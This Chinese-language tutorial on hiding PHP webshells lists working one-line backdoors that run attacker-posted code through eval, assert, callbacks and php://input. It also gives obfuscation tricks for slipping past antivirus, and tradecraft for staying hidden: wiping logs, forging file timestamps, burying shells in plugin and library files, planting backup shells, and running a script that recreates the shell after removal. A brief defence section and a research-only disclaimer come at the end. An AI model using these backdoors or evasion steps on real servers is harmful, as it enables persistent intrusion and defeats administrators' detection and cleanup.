如何优雅的隐藏你的Webshell
字数 1271 2025-08-15 21:33:44

WebShell隐藏与免杀技术详解

一、WebShell执行方法

1. 直接执行

使用PHP函数直接运行命令:

@eval('echo 这是输出;');
system('whoami');
assert($_POST['cmd']);

2. 动态函数执行

将函数名作为字符串传递给变量:

$a = "phpinfo";
$a();

3. 文件包含执行

分文件执行命令:

// b.php
<?php @eval('echo 这是输出;');

// a.php
<?php include 'b.php';

4. 回调函数

使用array_map等回调函数:

$func = 'system';
$arr = array('whoami');
array_map($func, $arr);

5. PHP Curly语法

字符串中嵌入变量:

$a = 'p';
eval("{$a}hpinfo();");

6. PHP反序列化

利用反序列化漏洞:

class test{
    public $a = "123";
    public function __wakeup(){
        eval($this->a);
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}');

7. php://input方法

读取原始请求数据:

@eval(file_get_contents('php://input'));

8. preg_replace方法

利用/e修饰符执行代码:

echo preg_replace("/test/e", phpinfo(), "jutst test");

9. ob_start方法

输出缓冲控制:

$cmd = 'system';
ob_start($cmd);
echo "whoami";
ob_end_flush();

二、WebShell免杀技术

基础免杀技术

  1. 简单动态函数
$a = "assert";
$b = $a;
$b($_POST['x']);
  1. 回调函数结合
$fun = 'assert';
array_map($fun, array($_POST['x']));

中级免杀技术

  1. 变量间接引用
$a = "assert";
$c = 'a';

$$
c($_POST['x']);
  1. 回调函数+变量间接引用
$fun = 'assert';
$f = 'fun';
array_map(
$$
f, array($_POST['x']));

高级免杀技术

  1. 字符串分割重组
function ass(){
    $a = "a451.ass.aaa.ert.adaww";
    $b = explode('.', $a);
    $c = $b[1] . $b[3];
    return $c;
}
$b = array($_POST['x']);
$c = ass();
array_map($c, $b);
  1. 复杂伪装
function downloadFile($url, $x){
    $ary = parse_url($url);
    $file = basename($ary['path']);
    $ext = explode('.', $file);
    $exec1 = substr($ext[0], 3, 1);
    $exec2 = substr($ext[0], 5, 1);
    $exec3 = substr($ext[0], 5, 1);
    $exec4 = substr($ext[0], 4, 1);
    $exec5 = substr($ext[0], 7, 2);
    $as[0] = $exec1 . $exec2 . $exec3 . $exec4 . $exec5;
    $as[1] = $x;
    return $as;
}
$a = $_POST['x'];
$s = downloadFile('http://www.baidu.com/asdaesfrtafga.txt', $a);
$b = $s[0];
$c = $s[1];
array_map($b, array($c));

三、WebShell隐藏技巧

  1. 日志清理:删除所有关于WebShell的访问记录和渗透造成的报错记录

  2. 时间戳伪装

    • Linux: touch -r 正常文件 webshell.php
    • Windows: 使用工具修改文件时间属性
  3. 深层目录隐藏

    • 第三方工具插件目录
    • 主题目录
    • 编辑器图片目录
    • 临时目录
  4. 配置文件隐藏

    • 将WebShell路径加入php.ini配置文件
  5. 静态文件+解析

    • 在静态文件中隐藏一句话
    • 使用.htaccess规则解析
  6. 图片马包含

    • 上传精心构造的图片马
    • 在正常脚本中包含图片马
  7. 代码插入

    • 将WebShell插入函数库文件
    • 插入配置文件
    • 插入不常改动的文件
  8. 代码审计利用

    • 审计目标代码
    • 在原生代码中构造执行逻辑

四、WebShell最佳实践

  1. 函数选择

    • 避免使用敏感函数:eval, exec, system, passthru, shell_exec, assert
    • 使用回调函数:call_user_func, call_user_func_array
  2. 命名规范

    • 避免明显名称:hack.php, sb.php, x.php
    • 模仿周围文件名:如目录中有new.php,可命名news.php
  3. 大马处理

    • 去除所有注释和作者信息
    • 修改intitle字段版本信息
    • 去掉shell箱子地址
    • 修改敏感字段如pass/password
  4. 多备份策略

    • 上传多个备用WebShell
    • 分散在不同深层目录
    • 使用不同名称和路径
  5. 自动化监控

    • 编写脚本定期检测WebShell是否存在
    • 不存在则自动创建
  6. 防御对抗

    • 检查管理员的动态WebShell监测脚本
    • 查看crontab任务

五、检测与防御建议

  1. 检测技术

    • 文件完整性监控
    • 异常文件时间戳检测
    • 敏感函数调用监控
    • 正则表达式特征检测
  2. 防御措施

    • 禁用危险函数
    • 严格文件上传控制
    • 定期安全审计
    • 实施最小权限原则
    • 使用Web应用防火墙(WAF)
  3. 应急响应

    • 保留现场证据
    • 分析攻击路径
    • 全面系统检查
    • 修复漏洞后彻底清理

通过以上技术的组合使用,可以显著提高WebShell的隐蔽性和存活时间,但请注意这些技术仅用于安全研究和防御目的。

WebShell隐藏与免杀技术详解 一、WebShell执行方法 1. 直接执行 使用PHP函数直接运行命令: 2. 动态函数执行 将函数名作为字符串传递给变量: 3. 文件包含执行 分文件执行命令: 4. 回调函数 使用array_ map等回调函数: 5. PHP Curly语法 字符串中嵌入变量: 6. PHP反序列化 利用反序列化漏洞: 7. php://input方法 读取原始请求数据: 8. preg_ replace方法 利用/e修饰符执行代码: 9. ob_ start方法 输出缓冲控制: 二、WebShell免杀技术 基础免杀技术 简单动态函数 : 回调函数结合 : 中级免杀技术 变量间接引用 : 回调函数+变量间接引用 : 高级免杀技术 字符串分割重组 : 复杂伪装 : 三、WebShell隐藏技巧 日志清理 :删除所有关于WebShell的访问记录和渗透造成的报错记录 时间戳伪装 : Linux: touch -r 正常文件 webshell.php Windows: 使用工具修改文件时间属性 深层目录隐藏 : 第三方工具插件目录 主题目录 编辑器图片目录 临时目录 配置文件隐藏 : 将WebShell路径加入php.ini配置文件 静态文件+解析 : 在静态文件中隐藏一句话 使用.htaccess规则解析 图片马包含 : 上传精心构造的图片马 在正常脚本中包含图片马 代码插入 : 将WebShell插入函数库文件 插入配置文件 插入不常改动的文件 代码审计利用 : 审计目标代码 在原生代码中构造执行逻辑 四、WebShell最佳实践 函数选择 : 避免使用敏感函数:eval, exec, system, passthru, shell_ exec, assert 使用回调函数:call_ user_ func, call_ user_ func_ array 命名规范 : 避免明显名称:hack.php, sb.php, x.php 模仿周围文件名:如目录中有new.php,可命名news.php 大马处理 : 去除所有注释和作者信息 修改intitle字段版本信息 去掉shell箱子地址 修改敏感字段如pass/password 多备份策略 : 上传多个备用WebShell 分散在不同深层目录 使用不同名称和路径 自动化监控 : 编写脚本定期检测WebShell是否存在 不存在则自动创建 防御对抗 : 检查管理员的动态WebShell监测脚本 查看crontab任务 五、检测与防御建议 检测技术 : 文件完整性监控 异常文件时间戳检测 敏感函数调用监控 正则表达式特征检测 防御措施 : 禁用危险函数 严格文件上传控制 定期安全审计 实施最小权限原则 使用Web应用防火墙(WAF) 应急响应 : 保留现场证据 分析攻击路径 全面系统检查 修复漏洞后彻底清理 通过以上技术的组合使用,可以显著提高WebShell的隐蔽性和存活时间,但请注意这些技术仅用于安全研究和防御目的。